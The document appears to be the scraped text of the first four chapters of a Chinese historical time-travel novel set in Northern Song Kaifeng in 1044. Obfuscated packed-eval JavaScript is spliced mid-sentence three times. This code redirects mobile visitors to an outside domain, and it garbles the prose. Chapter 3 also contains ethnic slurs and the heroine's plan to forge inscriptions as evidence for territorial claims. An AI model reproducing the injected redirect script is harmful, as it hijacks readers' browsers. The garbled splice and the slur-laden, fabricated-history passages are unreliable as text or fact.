《我要做太后》 1. 第 1 章 庆历四年（1044 庆历四年（1044年）四月二十五日，皇第八女齐国公主薨。灵柩暂厝于都城西普济佛寺，以待下葬。仁宗皇帝悲恸不已，下诏追封其为韩国公主，且连续两日不临朝听政。 朝中大臣或私下议论，认为皇帝哀思过深，显见对张氏荣宠过盛。众皆言：“夫女宠太甚，则俭德易亏；恩泽偏私，则谗言易入。” 后宫亦掀起波澜。初时，御侍宫人闲时私下议论，提及皇八女生母——宁华殿张美人，四年连生三女皆夭折，谓其“无福无德”。原正二品淑媛自请降为正四品美人，又刻意违礼为皇八女求取小名，终未能保全皇女，众人皆归咎于张氏平素骄横无度，僭越礼制，不敬中宫所致。 这些流言蜚语，如同插上翅膀的飞鸟，向着四面八方疾飞后，传入尚局二十四司，又飞入各宫贵人耳中，终至坤宁殿。 曹皇后以宫中有讹言惑众者，立即召遣司言传谕曰：“若辈勿以浮言相煽，吾能辨忠奸。”一向秉持“以威肃内”管理风格的中宫，以强势的态度迅速平息事态，令谣言不能互相煽动，也为平息帝王之怒。 可是，这才哪到哪呢，也没人有后世眼，再过几年，还会上一台大戏。在张氏以贵妃之身身死，正宫曹皇后尚在时，仁宗还要追册为后，打破儒家传统的一夫一妻制，在朝堂内外、乡野林间都引发极大的震荡。 据史书载，仁宗罢朝7日，亲宿皇仪殿守灵，温成皇后张氏的葬礼“费金帛无算”，连两府（中书、枢密院）亦不得入宫。 中书主政，枢密主军，这一个是最高行政机构，负责国家日常政务决策与执行，相当于“政府”；另一个是最高军事机构，独立于中书门下，专掌军务，与中书并称“二府”。 仁宗这自断耳目，放弃权柄的行为让人颇为费解，还好当时朝内能人辈出，政局整体稳定，无内忧外患激化矛盾，短期权宜不至失控，只能让人深刻感受到其情感宣泄。 除此外，仁宗还要求百官致祭，那可是“御史台先设次，俟灵驾过，群臣素服，班台前北向再拜，举哭，十五举音，止哭，又再拜。” 御史台是当时最高的监察机关，承担监督百官、纠察朝政的重要职能，当然也承担礼制维护与朝仪监督。 所谓“御史台班次”，也就是说御史台先设置灵位，等到温成皇后张氏的灵车经过，群臣要穿着白色的丧服，在台前分列站立，面向北方行两次拜礼，然后放声大哭，以固定的节奏和次数，哭十五次后，才能在礼官示意下停止哭泣，接着还要再行两次拜礼。 怪不得后世评论，这是写在史书上的偏爱。 东京城内，也有不少平头百姓纷纷在饭桌之上，私闱之内，把张氏怙宠上僭，几危皇后当起谈资。讨论起张氏究竟如何貌美，官家与这张氏究竟如何在宫闱内嬉戏，什么每至酒酣，奏乐彻旦，跟自己亲眼看到似的。 此时，城外道上，三辆牛车迤逦而来，每辆车上各有一魁梧大汉驾车，首车坐着当家夫人和婆母；中间车厢内，一名幼女被一老妇抱着，身侧还有一丫鬟打扮的少女；最后一辆车里则装满了家私，一老一少骑马随行押后，一行正缓缓驶向东京外城南熏门驶去。 这南熏门是东京城外城的正南门，由南而来的车队、人群一般都从此门入城。 北宋都城为中国古都史上著名的三重城，由内而外依次为皇城、内城、外城。 皇城为皇帝理政与后妃居住的核心区域，南门为宣德门，北门为拱宸门。 内城，又称阙城，环绕皇城而建，是衙署、勋贵宅邸及商业中心所在，比如那大名鼎鼎的北起皇城东华门，南至内城东南角的潘楼街，以医药铺、香药行驰名，夜间灯火通明，通宵达旦，号称“不夜街”。除此之外，另有相国寺至州桥一带，形成以大相国寺为中心的商业文化圈，瓦市勾栏林立，杂耍、说书等市井娱乐应有尽有。 外城也唤作罗城，正南门的南熏门附近多为平民居住区、手工业作坊，以中小型商铺为主，还有各类特色食肆聚集。外城东的新宋门，则是汴河码头，漕运货物的集散地，南北流通的粮食、茶叶、杂货，珍奇物件皆在此装船卸货。出了外城正西门的西石门，就是大名鼎鼎的金明池，这可是皇家园林，每年三月开放，百姓可入内游赏，池畔有琼林苑，就是官家赐宴新科进士的地方。 而在京的禁军驻军营地，则驻扎在汴梁城墙外围护龙河（即护城河）沿岸，拱卫京师。仁宗庆历年间，禁军兵力达八十二万六千（《宋史?兵志》），占全国军队（含厢军）半数以上。而在京的禁军则保持在八万之间，四支主力禁军分别为捧日（骑兵）、天武（步兵）、龙卫（骑兵）、神卫（步兵），各辖四十指挥使，每指挥管制约五百兵卒。 后世公认，北宋都城东京人口规模应该超过了100万，“岁漕江淮米六百万石以给京师”之记载毫不夸张，堪称当时世界最大都市。放眼全球，直至工业革命后，伦敦方成为欧洲首个百万人口城市；更不要说当时国家都没建几年，人烟稀少的美国了。 自宋太祖、宋太宗平定五代十国割据政权后，将各地氏族、军民迁于东京汴梁，放在眼皮底下监看。氏族又带来的各种依附于他们的手工业者们，可谓是“汴都衣冠甲天下，富商大贾、百工技艺之人，辐辏鳞集，仰给于贵势之门。” 这些豪族豢养擅长织锦、锻造、漆器的奴仆工匠，统称为“家业人”，那些技艺精湛者，卖出的货品价值千金。有些甚至形成垄断性的技术优势。沈括《梦溪笔谈·技艺》也提及，“汴京木工皆出于鄢陵王氏，金工多附南阳张氏。一族之匠，传艺百年，天下莫能及。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500238|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那么可以包容常住100万人口的东京汴梁有多大呢？ 按照后世研究，皇城面积约为1.14平方公里，内城在8.34平方公里左右，剩余约50平方公里就是外城。北京故宫（紫禁城）占地面积约0.72平方公里，以此换算，也就是说北宋的皇城约等于1.6个紫禁城，内城等于12个紫禁城。 这东京之繁华无双，也难怪孟元老在其《东京梦华录·序》中写到“八荒争凑，万国咸通。集四海之珍奇，皆归市易；会寰区之异味，悉在庖厨。” 当然这本书现在还没有呢，这是在靖康之难之后，他逃离汴梁转到绍兴，回忆起东京城那青漆涂饰的雕梁画栋、豪华精致的亭台楼阁，停在宽敞平直的街道上的装饰精致的马车和饰以珠宝的骏马。来往妇人头上的黄金珠翠是那样的耀眼夺目，所着轻罗薄绮又都飘散着芳香引人沉醉。新奇美妙的音乐伴随着欢笑在柳巷花街上飘扬，吹拉弹唱之声亦在茶坊酒馆中回荡所写。 人人向往东京，人人都说东京好，但是想在里面混得好，那可不容易。就算再有钱，没有关系也寸步难行。 三辆牛车这时已经从南熏门通过路检，押后骑马的老汉将某物塞入负责通关文牒查验的监门官 袖中，却被对方笑骂着推开——二人似是旧识，肩头轻撞间，交头接耳嘀咕着“过几日再寻你”之类的话。老汉行叉手礼道别后，策马伴随牛车缓缓驶过南熏门内的坊区住宅，朝内城朱雀门方向而行。 再说为首牛车内的花甲老妇与中年妇人：二人衣着素朴，头上仅别着几枚木簪，长途奔波的疲态下，仍可见这对婆媳年轻时的姣好容貌。随着牛车越靠近内城城门，她俩眉头渐锁——约定的时辰已过，按说早该有人来迎，为何始终不见踪影？ 花甲老妇，也就是婆母吴王氏张口道：“耘娘，你让路与去大郎的衙门打听打听，莫不是西边又有战事，禁军紧急集合调令了？” 儿媳刘耘娘，随婆母吴王氏，携13岁的儿子、5岁的小女儿，带着老仆王婆、小丫头青枣，以及因伤解甲来任管家的路伯父子（路伯与其子路与），依照丈夫吴大郎的安排，举家从京西路邓州郡（南阳）北迁，迁居东京汴梁。 “路”为宋、金、元三代行政区划名。宋太祖为避免唐后期藩镇割据之弊，将一级行政区划定为“路”，初设十五路，包括：京西路（治今河南洛阳）、河北路（治今河北大名）、河东路（治今山西太原）、陕西路（治今陕西西安）、淮南路（治今江苏扬州）、江南路（治今江苏南京）、荆湖南路（治今湖南长沙）、荆湖北路（治今湖北荆州）、两浙路（治今浙江杭州）、福建路（治今福建福州）、西川路（治今四川成都）、峡路（治今重庆奉节）、广南东路（治今广东广州）、广南西路（治今广西桂林）。 2. 第 2 章 根据神宗朝出版的《元丰九域志》记载，邓州（南阳）至东京开封府的官方驿路里程为约650宋里（1宋里≈0.5公里，合今约325公里）。乘坐牛车正常要花费20天的路程，但是这一行妇孺，则多用了5天时间。 媳妇耘娘，一听到西边战事，脸色唰地一下发白，恶狠狠地骂道。“都是悦娘那个小丫头，路上非要闹腾，又是捡破烂，又是鼓动她大兄寻什么奇闻怪事，要不然我们何至于耽搁这么久？”想到丈夫又要奔赴战场，阴霾又一次笼罩在她心头，自成婚以来，夫妻二人聚少离多。 吴王氏却很是淡定，从她年轻时，就已经习惯了丈夫外出打仗，而她独守家中照顾婆母和幼子幼女。年轻时陪着婆母等丈夫，年老时陪着儿媳等儿子。 她本是许州（今许昌）人士，幼时偷随做木匠的父亲前往南阳谋生。突逢战事，原定的木工活告吹，所带粮食也消耗殆尽。恰逢当地一位吴姓寡母，其子年方十五，被征入伍。寡母唯恐儿子有去无回，便以半袋面粉将她买下。当然，也有着自己的小心思，打量着以后儿子如果能活着回来，就算缺胳膊少腿，起码也能有人照顾。 几年后，她亲生父亲来寻，王氏又怜寡母可怜，执意不肯归家，坚持要等吴家哥哥回来。王父起初气恼，转念一想：待女儿年长再寻不迟，届时吴家小子想必早已战死沙场，尸骨无存。未曾想，在王氏及笄那年，吴家独子居然回来了。 原来这小子因为长得高大，人又白净机灵，在军营里还喜欢跟着人学几个大字，被一个都头看中任为十将，还给取了大名吴温，不再吴大吴大的叫着。本想顺便给他说亲，吴温却说家中还有老母，且老母已经给他养了个媳妇。太平兴国八年，因主将遭罢免，其辖下兵权被夺，吴温遂向上官告假，获准回乡探亲。 儿子全须全尾地回来了，还当上什么军官，吴寡妇喜出望外，即刻张罗二人成婚。吴温一看，王氏已经出落得亭亭玉立。而他能靠脸被上官看中，那自然也能被张氏看中，两人就这么成了亲。未料成婚未几，小夫妻便再度分离——吴温重返军营。此时主将复职，他随赏识他的都头进攻契丹，却在岐沟关一役惨败，都头战死沙场。吴温虽侥幸生还，却失去左臂，被遣返原籍从事军队杂务。 这些年吴温与王氏共生了四女二子，其中长女、三女及幼子皆早夭，吴温也在四年前因病离世。 见儿媳慌乱起来，吴王氏刚欲呵斥，却心头一叹——想当年自己也曾为外出征战的丈夫提心吊胆，此刻感同身受，便决定宽慰一二。 “莫慌！禁军每三年轮换驻地，大郎刚从陕西调入京中，西边即便再起兵事，又与他何干呢？说不定是旁的事耽搁了。” 大郎便是吴王氏的长子，名唤吴军，当兵的老子给儿子起的名字都是如此朴素无华。吴军亦追随父亲脚步投身军旅，庆历二年（1042年），也就是前年，跟随左藏库使、原州知府景泰，充当副指挥使，于彭阳西与西夏军交战时大胜。而同年的另一场战役定川寨一役，宋军却遭惨败，葛怀敏等十五员将领战死，九千余将士几近全军覆没。 经此两战对比，彭阳西大捷令宋仁宗与朝廷颜面生辉。故而在圣上隆恩之下，全军皆获额外封赏。诸多有功将士亦得擢升，连升两级以彰其功。刚从边疆换防归来的吴军，便由此擢升为正七品指挥使，调防驻守东京。他三个月前修书归家，唤全家老小尽快进京定居。 刘耘娘被婆母这一喝，顿时冷静下来。她本就是首次出远门，何况此次乃是全家迁居。 虽说心中不舍嫁在南阳老家的二女儿，但二女婿家是世代行医的世医家族，且女婿年纪轻轻便官居从九品医学博士，人品端方，足以托付。与二女儿不同，嫁入东京城富户的大女儿更令她忧心。出嫁已五载，膝下仅育一女，公婆难免有所不满，幸而女婿护持，日子才未过得艰难。算起来，她已有半年未收到大女儿丽娘的书信了。 “娘！阿婆！”车帘猛地掀开，跳进个白皙高挑的少年。但见他身姿挺拔，面容刚毅，浑身透着英武之气。 刘耘娘十五岁嫁与吴军，十九岁生大女丽娘，四年后生二女绮娘，二十七岁得子，取名吴夏，家人皆唤他夏小郎，如今已十三岁。三十六岁时，她以为再无子女之缘，不料丈夫被调往陕西边防前数月，竟又有孕，小女儿今年年仅五岁，此刻正坐在第二辆牛车上，由老奴王婆与丫鬟青枣照看。 而她这儿子大早上就嫌坐牛车慢，快马先一步入城寻他爹去了。虽然读书上看不出什么天赋，资质似乎平平，但是勇武且心思活络，和他爹以及阿公一样，懂得用脑子，随机应变得很。 只见这少年语速极快地道：“儿没寻到爹爹，只能先去寻大姐，却发现爹爹也在大姐家中。原是大姐突然晕倒，姐夫一时慌乱，差人去通知爹。大夫诊脉后说是喜脉，爹因此才耽搁了些时辰。我与爹爹本欲同行，不想前往西普济佛寺的道路被禁军封锁，途中又遇爹的同僚，他停下攀谈几句，让我先行，说随后便到。” “这可是大喜事！”耘娘与婆母吴王氏听闻皆大喜。丽娘成婚五载，仅有一女，始终是婆媳二人的心病。 “我去后面车上瞧瞧小妹！顺便问问她要不要骑马玩耍！”话音未落，吴夏已一溜烟跑开，身后只传来母亲的呼喊：“不许带小妹上马，你自己骑术尚不精熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500239|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 吴家的第二辆牛车上，一位老妇正抱着个粉雕玉琢的小姑娘。此乃家中幼女，名唤吴悦，下人们皆称她悦小娘子。旁边立着个年长几岁、丫鬟打扮的少女，正挑着车帘。三人目光尽皆凝在车外那车水马龙的市井街道上，似被这人间盛景震慑心魂。 此时已过午时，初夏的日头悬在天际，阳光微微刺眼。街道上行人如织、摩肩接踵，宽阔的路面熙攘热闹。两旁店铺鳞次栉比，木质楼阁错落有致，楼檐下悬挂的各式幌子随风摇曳，或书商铺名号，或绘特色货品。沿路食肆香气四溢，街边小食摊热气腾腾，好客的老板站在摊前大声吆喝，引得路人频频驻足。更有一处人群围作圆圈，虽瞧不清内里情形，却听得喝彩声此起彼伏——想是杂耍艺人正在表演杂技。 路上，身着葱绿或鹅黄罗裙的妇人梳着高髻，裙幅宽大、层层叠叠，脂粉甜香裹挟着馥郁气息扑面而来。她们举手投足间自有一番妖娆，恍若春日盛放的繁花。更有妙龄少女身着浅粉褙子，内搭月白长裙，行走时褙子随风轻扬，如蝴蝶振翅，衣袂间似有幽兰桂花香随风飘来，清新淡雅。 男子亦引人注目：身着淡蓝直裰的年轻郎君两两同行；骑马疾驰的藏青长袍大汉掠过，马蹄声中但见袍角飞扬。 布衣打扮的货郎用扁担挑着新鲜蔬果与精巧手工艺品，沿街叫卖；酒楼食肆间，提着食盒往返各府的闲汉穿梭不停；孩童在人群中嬉笑奔跑，身后传来父母“慢些跑”的呼喊。 熙攘热闹中，尽显无尽繁华生机。 吴悦看得目不转睛，兴致盎然，甚至想喊停牛车，下去大采购。谁知道她哥就这么回来了，一登上牛车，便如拔萝卜般将她从王婆怀中抱起，得意洋洋地从怀里掏出大姐给的糖果糕点逗她。 嗅到一丝异味，她嫌弃地皱起眉头。亲哥清晨匆匆出门，往返奔波风尘仆仆，浑身汗臭难耐。她手脚并用地挣脱怀抱，坐至窗边，让清风驱散异味，这才细声问道：“阿爹为何不来接我们？” 听到大姐怀有身孕，她也拍手高兴了起来。 来到这个世界已经五载，前世她是年过三十五、未婚未育的青椒。日子过得还算惬意，除了苦于发表，已经不再奢求职称，打算苟上十几年就退休。只要三代全无，她还能过得多惨？！ 平常就运动锻炼一下，打开B站跟着周六野跳跳操，或者爬爬楼梯，每日楼下保证遛弯半小时。 要知道打铁必须自身硬，小病靠自身抵抗力。至于大病，就准备个十万，治不好便听天由命，心态分外豁达。 但是某一天晚上睡觉，眼睛一闭一睁，就发现她成为了一个刚出生不久的婴儿。 3. 第 3 章 当她还在法国读书时，教授在课上提出了一个关于睡眠与死亡的哲学问题——涉及意识的存在与对死亡的恐惧。人进入深度睡眠后，自主意识会暂时消失，这与死亡的状态存在相似性。每当夜晚入睡时，你是否能确定自己第二天能正常醒来？人类是否每晚都在预演死亡？如果真是如此，死亡还会令人恐惧吗？ “死亡并不可怕，因为我们存在时死亡尚未到来，而死亡来临时我们已不复存在。” 在这样的思绪中沉浸了很久，她每天都在反复思索生与死：自己究竟是困在过去，还是迷失在未来？ 十个月后，她被抱着走出屋子，在今生的亲人臂弯里被抱来抱去，又被抱到更远的田间，抱去县衙。她看着田野里农人耕种的模样，看着市井小民日出而作、日落而息的日常。随着对这个世界的接触日益深入，见过的面孔越来越多，她那颗浮躁的心竟渐渐沉静下来。 这是个动荡的年代。她听着今生的亲娘和阿婆忧心忡忡地谈论着去边防作战的父亲——庆历年间与西夏的战事，这是什么朝代不言而喻。 她穿越了，穿越到一千年前的南阳。巧合的是，一千年后的她同样生在南阳，且与前世同名同姓。熟悉的乡音、相似的风物，都让她倍感亲切。或许，她的到来，这就是命运的安排。 今年是北宋庆历四年（1044年），范仲淹、富弼正推动针对官僚体制与军事的庆历新政，这场改革最终因保守派激烈反对而夭折。同年，程颢、程颐兄弟在洛阳创立洛学，其学说经南宋朱熹归纳总结后形成程朱理学——这一思想体系初期强调“格物致知”，后来“存天理，灭人欲”的主张被扭曲，逐渐异化为压抑人性的工具。 此后二十余年，宋神宗在位期间，王安石推行包括青苗法、募役法在内的变法，但变法在神宗去世后因新旧党争激化而被逐步废除。 四十年后的宋哲宗元祐年间，曾为宋仁宗曹皇后外甥女、后嫁宋英宗为皇后并成为神宗生母的高滔滔（史称“宣仁圣烈皇后”）以太皇太后身份垂帘听政，她援引司马光等保守派大臣，全面废黜新法，史称“元祐更化”。 那个在语文课本中“司马光砸缸”的主人公，那位主持编纂《资治通鉴》的史学家司马光，在宋哲宗元祐年间（高太后垂帘听政时期），面对西夏要求宋朝归还兰州、米脂等堡寨的诉求，竟主张放弃熙河开边以来收复的部分土地，并建议废除神宗朝的对夏主战政策，恢复“岁赐”（也就是每年向西夏输送银、绢、茶等物资）。他的理由是：宋夏战争源于宋朝“先发兵”，属于“不义之战”；且新占之地多为贫瘠山地，宋军需派驻大量兵力驻守，徒增粮饷负担，主张“固守旧疆”即可。他援引儒家“以德怀远”“兵者凶器，圣人不得已而用之”的理念，认为军事扩张违背仁政。所谓“恢复岁赐”，本质是以“赏赐”之名行“破财换和平”之实——大宋通过“天朝上国”的礼制性恩赐换取表面尊严，西夏则获得实际经济利益，试图以这种“岁币+互市”的模式维系和平。 司马光因为有资治通鉴背书，对新党政策进行道德层面的全盘否定，甚至包括神宗朝通过河湟开边等军事行动取得的战略成果。这种“凡新党支持即反对”的极端立场，将北宋中后期的新旧党争推向“非黑即白”的恶性循环：旧党执政时，无论新党政策优劣一概废黜；新党复辟后，又对旧党进行无差别清算。党争的核心从“治国理念之争”异化为“权力博弈”，士大夫“以天下为己任”的精神逐渐崩塌，忽视了宋夏地缘政治中“弃地示弱”可能引发的连锁反应，导致西夏得寸进尺，边境危机加剧。 典型如“元祐党人碑”事件：哲宗亲政后，新党领袖章惇、蔡京执政，将旧党官员及其支持者列为“元祐奸党”，刻碑昭示全国，严禁其子孙入仕。而此前旧党主政的元祐时期，对新党成员亦采取过贬谪、排斥政策。这种“一朝天子一朝臣”的残酷倾轧，导致北宋政策频繁反复，官僚体系内耗严重，为北宋中后期的统治危机埋下伏笔。 七十余年后的北宋徽宗、钦宗年间，金军分两路南下围攻东京（今开封）。此时朝中仍因党争分裂，主战派李纲与主和派李邦彦激烈内斗，最终就是靖康耻，臣子恨。 她又想起近代中华一百多年的屈辱史，想到了小日本，猴子与南海，蛙岛和无耻的鹰酱。来这一趟，或许就是让她做点什么的。她已经知道后世是什么样子，国家都是五年一个计划，只要方向对，贵在坚持，芯片都快被国人攻克了。当年抗日战争何等艰难，先辈们凭借“小米加步枪”仍能抵御外侮，而如今那些曾以“列强”自居的国家，却在历史的轮回中面临各自的挑战。 在她眼中，北宋中后期的困局本质是皇室继统危机：宋仁宗无子，养子英宗继位后根基不稳；神宗壮志未酬而早逝（享年38岁），导致变法半途而废；哲宗同样膝下无子且短命（享年24岁）。这三位君主皆受限于健康与子嗣问题——英宗在位仅4年（36岁），神宗38岁去世，哲宗则是24岁，皇位最终传至徽宗、钦宗，乃至南渡后的高宗。吊诡的是，这几位治国能力平庸的君主反而长寿：徽宗享年54岁，钦宗57岁，高宗更是活到81岁，和唐玄宗一样，堪称活得太久了。 破解困局的上策，莫过于让宋仁宗拥有健康的嫡子继位，并避免其晚年决策失当，就可以有几率的阻止高滔滔（英宗皇后、神宗生母）与司马光等人登上政治舞台（兰州拉面那么好吃她不同意还给西夏）。但现实阻碍重重：首先，以宋代的医疗水平，很难确保皇子顺利成年；其次，即便有嫡子继位，也未必能成为贤明君主。但反推历史，最坏的结果不过是靖康之变的屈辱，难道还能比这更糟吗？ 所以，这条路虽难，却仍值得尝试。她打算努力入宫，投靠曹皇后这棵大树——这位可是熬过仁宗的长寿皇后，其祖父更是北宋开国名将曹彬，家族背后坐拥实打实的军事资源。更重要的是，曹皇后以贤德著称，从不嫉妒其他宫妃，也不残害皇嗣，为人端方静肃、恪守礼法。在宫廷权谋中，谁都不希望遇到一个动辄暗中算计、遇事便推卸责任的上位者。 曹皇后不得宋仁宗宠爱，根源在于仁宗是出了名的颜控。早年选后时，仁宗属意姿容更美的张氏，却被垂帘听政的刘太后否决。后来仁宗相中一位来自四川的王氏，因其姿色娇艳，欲纳入后宫，又被刘太后以“选妃当重德不重色”为由阻拦，最终将王氏许配给了自己前夫的儿子，令仁宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500240|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤恨不已。刘太后去世后，仁宗亲政，因看中舞姿曼妙的张氏，将其纳入后宫并专宠多年。不过，就算对张氏的专宠之下，为早夭的皇八女悲痛欲绝，也未妨碍他宠幸其他妃嫔，这是一个封建皇权制度中养出的标准帝王。仁宗去世前五年，仍在为诞育皇嗣努力，可惜最终仅生下五名公主。 她祖父曾是跟随曹皇后的祖父曹彬征战南唐、北伐契丹的底层军官，虽在战事中身负重伤，但这也是两代人在战火中的袍泽之情，恰如《诗经?秦风?无衣》所咏： “岂曰无衣？与子同袍。王于兴师，修我戈矛。与子同仇！ 岂曰无衣？与子同泽。王于兴师，修我矛戟。与子偕作！ 岂曰无衣？与子同裳。王于兴师，修我甲兵。与子偕行！” 对于曹皇后来说，她就是自己人！ 退一步说，若入宫计划受阻，或宋仁宗依旧膝下无子，赵宗实（英宗）仍按历史轨迹娶高滔滔为妻、继位为帝，她亦有备选方案，她就好好存钱，给那些怀才不遇的文人发命题作业，就写东边的岛、南边的海、东南的岛就是我们中国的，传递“东南诸岛、南海疆域皆为中华故土”的理念。 再来一些谜语人最爱的龙脉与宝藏故事，比如坊间流传着一则秘辛：靖康之变前夕，赵家皇室暗中将大批黄金珠宝运往海外，藏匿于福建对岸的岛屿，并留下密语——“以待华夏子孙，复土驱虏”。 再如法炮制几篇游记，宣称宋仁宗受封昇王时（昇州因此升为江宁府），曾遣人跨海寻秘，文中煞有介事地描述：“倭国银矿遍野，东南诸岛金铜藏于山海。”将这些文字雕刻成石碑铭文，埋于江宁府（今南京）地下，静待后世发掘。 大航海时代的西方那些殖民者探险家都在找什么？当然是找那个马可波罗书中描写的遍地黄金的东方神秘大国。不过就是找偏了，找到了北美，还以为人家是印度，当时的墨西哥湾他们都起名字叫中国海湾。 这么一想，她顿感轻松，她要为千年后的祖国解决大患！ 突然，一阵哈哈大笑传来，牛车应声停下。一个魁伟壮汉掀开帘子，单手环抱便将年仅五岁的她从车厢里捞起，爱不释手地上下打量，随后用粗糙的大手轻轻摩挲着她的小脸蛋：“悦娘可还记得爹？” “记得的，我的布娃娃还是爹买的呢。”被突然抱离车厢，她先是一惊，定神细看才认出——正是今生的亲爹。 说起来，这其实是父女俩第二次见面。她出生时，父亲便因更戍法三年一换被调往西北边防西夏。直到她四岁那年，父亲才首次归家，当时母亲一见他便抱着哭得稀里哗啦。 这吴父生得极是英武：眼窝微陷而深邃，鼻梁高挺如刀削，瞧着倒不似纯然中原汉人血统，肤色被西北风沙染成古铜色，肩宽背阔如铁塔，按后世度量衡算来，身高也就大概180左右，在宋人里已算罕见的魁伟。 “悦娘真乖，走，阿爹带你骑大马！你大姐姐收拾了间顶漂亮的屋子，咱们先去瞧瞧，让你哥陪着你阿娘和阿婆坐牛车慢慢走。”话音未落，他已跨步上马，转头向第一架牛车中的老母与妻子匆匆道别，左手将女儿稳稳圈在怀中，右手一甩马缰，骏马便驮着父女俩扬尘而去。 4. 第 4 章 待三辆牛车缓缓穿过内城朱雀门，朝东边的曹门行进，经曹门大街折向北面马行街方向，吴家在东京城的宅邸便坐落于与马行街相交的医者街上，一处两进砖石结构的宅院。牛车从青瓦门屋驶入前院停下，吴军早已在此等候。刘耘娘小心搀扶婆母下车，先将其送至后院坐东朝西的正房安置，一抬眼便望见小女儿正踮着脚在各个房间里好奇张望。 这两进院落的后院有一大一小两处正房，另有两间厢房。坐北朝南的主正房供婆母居住，其西侧小一些的正房则作为她与丈夫的寝室。正房东西两侧的厢房里，按常理本应将较大的东厢房分给儿子，但吴王氏念及孙女年幼，执意将这间宽敞的厢房留给悦娘。她深知女子婚前在娘家的时光最为珍贵，特意让孙女有更宽敞的空间嬉戏玩闹。 虽说宅子置办得仓促，该有的陈设却一样不少。大姐丽娘依照妹妹的喜好，用一架楠木雕花屏风将东厢房外间隔成独立书房：博古架被巧心分隔成多层格子，中央摆放着一张四足雕花的楠木书案，案角嵌着四只抽屉，边角处还雕着缠枝花纹；一把带弧形靠背的圈椅上铺着软缎坐垫，与书案相得益彰。靠墙立着四只齐整的樟木箱，表面虽未上漆，却因木料本身的香气而显得格外雅致。内间是吴悦与青枣的寝处，螺钿梳妆台与榆木衣柜分列两侧，青枣正踮脚将小娘子的绢帛衣物、布偶玩具及书卷字帖，连同路上拾得的鹅卵石、枯枝标本分门别类收进箱柜。 安置好婆母后，刘耘娘特意叮嘱小女儿莫要在庭院里翻弄泥土，这才匆匆赶往前院——丈夫正站在牛车旁指挥仆从卸运箱笼。 见阿娘匆匆离去无暇看管，祖母又在榻上闭目养神，吴悦蹑手蹑脚地溜进了兄长的房间。 吴夏在南阳老家的县学已修业三载，平日食宿皆在学舍，唯有旬假之日（每十日休沐一日）方得归家。按常理正常孩子8岁便可以入学，他却推迟到了10岁。 实因那几年家中变故不断：父亲先是被调往西北边防，恰逢妹妹悦娘出生；未及半载，祖父骤然离世；紧接着二姐到了议亲年纪，家中男丁唯有他一人，即便父亲远在边塞，也只能由他替父送二姐出嫁。待悦娘两岁时，母亲才稍得空闲，年已十岁的吴夏这才入了县学丙班，在一众七八岁的幼童中，因身材高挑而格外显眼。 县学按生员资质分作甲、乙、丙三班。刚入学的童生皆归入丙班，每日功课不过诵读五七十字，临帖十行；甲等班则由教谕亲授《五经》《论语》《孟子》，每日考核经义三道，需撰文阐释儒家经典义理。 颇有羞耻心的吴夏哪里肯与七八岁幼童挤坐一处？他本就比同龄人高出半头，在丙班中更显突兀，比同班八岁学童足足高出半个身子。这个平素不爱握笔却热衷弓马涉猎的少年，居然奋发向上了起来，费时一年半便从丙班升入甲班。 但是一进入甲班，吴夏又散漫了起来。班上多为耕读传家的子弟，嫌他出身武官门第，几个富商之子也常以衣着破落为由耻笑他。他索性将课业维持在“良”等，终日独来独往，县学中最开怀的时光，竟是归家后逗弄小妹。昔年与他一同玩耍的孩童，自私塾开蒙后多被送入地方武学，子承父业投身行伍，唯他因父亲坚持，走了一条与家族传统相悖的文途。 吴父的考量自有深意：他虽为武将，却深知在重文抑武的世道里，文科举才是光大门楣的正途。早在吴夏未出生时，家中常年只有两个姐姐，他也没有嫌弃轻视，对她们要求颇高，大姐丽娘、二姐绮娘皆延请女塾师开蒙，甚至士大夫圈层盛行的“四般闲事”（焚香、点茶、挂画、插花），亦特意从东京城请来一位退身的马婆子教导。这马婆子早年随侍贵家小姐，熟稔高门内宅的仪轨，无奈小姐早逝无子，她随嫁妆返回主家，年长后获释归乡南阳，恰遇侄子租住吴家铺面，这才被引荐入府。她悉心教授两位小姐数年，直至二姐绮娘出阁，才以年老为由辞去教习之职，退居养老。 吴温老爷子在世时，常向孙子吴夏念叨识字的紧要：当年在军中，若不是他勤学不辍识得几行字，哪能在同袍只顾搜刮妇人闺房金银时，独独懂得先往书斋里寻——将珍本古籍、名人画轴小心收捡，而非付之一炬；遇到精致砚台，亦会用布帛仔细包裹，呈给上官。有时书斋里还能寻得成色不错的玉器，甚至几锭散碎银子，他便悄悄收为己用。凭借这些举动，他多次获上官嘉奖，只可惜后来随军北伐时，直属将领战死，他亦在乱军中伤了左臂，否则仕途不止于此。 这些军旅往事，皆由吴夏从祖父口中听来，他常将这些故事讲与小妹悦娘听。 